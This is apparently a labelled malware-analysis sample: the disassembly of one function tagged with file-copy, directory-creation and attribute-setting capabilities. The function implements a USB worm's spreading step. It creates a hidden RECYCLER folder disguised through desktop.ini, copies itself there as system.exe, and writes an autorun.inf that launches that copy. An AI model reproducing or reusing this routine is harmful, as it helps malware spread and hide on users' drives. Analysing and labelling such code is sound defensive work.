Function at 0x40287c
Capabilities:
Copy file
Create directory
Set file attributes

Disassembly:
sub esp, 0x31c
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x318], eax
push ebx
mov ebx, dword [esp + 0x324]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov ebp, 0x104
mov dword [esp + 0x14], ebx
push ebp
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ebp
lea eax, [esp + 0x130]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [esp + 0x38]
push ebp
push eax
call ebx
push str.RECYCLER
lea eax, [esp + 0x44]
push ebp
push eax
call ebx
add esp, 0x30
lea eax, [esp + 0x1c]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
inc edi
test eax, eax
je 0x402909
call esi
cmp eax, 0xb7
jne 0x402b25
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x1c]
push 7
push eax
call ebp
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [esp + 0x20]
push 0x104
push eax
call ebx
add esp, 0xc
lea eax, [esp + 0x1c]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
test eax, eax
je 0x40294c
call esi
cmp eax, 0xb7
jne 0x402b25
push 7
lea eax, [esp + 0x20]
push eax
call ebp
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov esi, 0x104
lea eax, [esp + 0x124]
push esi
push eax
call ebx
push str.Desktop.ini
lea eax, [esp + 0x2c]
push esi
push eax
call ebx
lea eax, [esp + 0x34]
push eax
call fcn.004026c7
add esp, 0x1c
lea ecx, [esp + 0x10]
push ecx
push 0
push edi
push 6
push 0x1011
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
test eax, eax
jne 0x402b25
mov edx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4029aa
mov eax, dword [esp + 0x10]
lea esi, [esp + 0x18]
push esi
sub edx, ecx
push edx
mov ecx, dword [eax]
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
push eax
call dword [ecx + 0x10]
test eax, eax
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
je 0x4029db
call dword [ecx + 8]
jmp 0x402b25
call dword [ecx + 8]
lea eax, [esp + 0x1c]
push 0x5c
push eax
call sub.VCRUNTIME140.dll_strrchr
pop ecx
pop ecx
test eax, eax
je 0x402a2d
push str.system.exe
mov byte [eax], 0
lea eax, [esp + 0x20]
push 0x104
push eax
call ebx
add esp, 0xc
lea eax, [esp + 0x1c]
push 0
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402b25
push 7
lea eax, [esp + 0x20]
push eax
call ebp
push str._autorun__r_nopen
lea eax, [esp + 0x124]
push 0x104
push eax
call ebx
mov esi, dword [esp + 0x20]
lea eax, [esp + 0x12c]
add esi, 3
push esi
push 0x104
push eax
call ebx
push str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
lea eax, [esp + 0x13c]
push 0x104
push eax
call ebx
push esi
mov esi, 0x104
lea eax, [esp + 0x148]
push esi
push eax
call ebx
push str._r_nshellopendefault1
lea eax, [esp + 0x154]
push esi
push eax
call ebx
push esi
lea eax, [esp + 0x5c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x48
lea eax, [esp + 0x1c]
push dword [esp + 0x14]
push esi
push eax
call ebx
push str._autorun.inf
lea eax, [esp + 0x2c]
push esi
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x1c]
push 0x80
push eax
call ebp
lea eax, [esp + 0x1c]
push eax
call fcn.004026c7
pop ecx
lea ecx, [esp + 0x10]
push ecx
push 0
push edi
push 7
push 0x1011
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
test eax, eax
jne 0x402b25
lea edx, [esp + 0x120]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x402af4
mov eax, dword [esp + 0x10]
lea esi, [esp + 0x18]
sub edx, ecx
push esi
push edx
mov ecx, dword [eax]
lea edx, [esp + 0x128]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
jne 0x402b1b
xor edi, edi
mov ecx, dword [esp + 0x10]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x328]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402f90
add esp, 0x31c
ret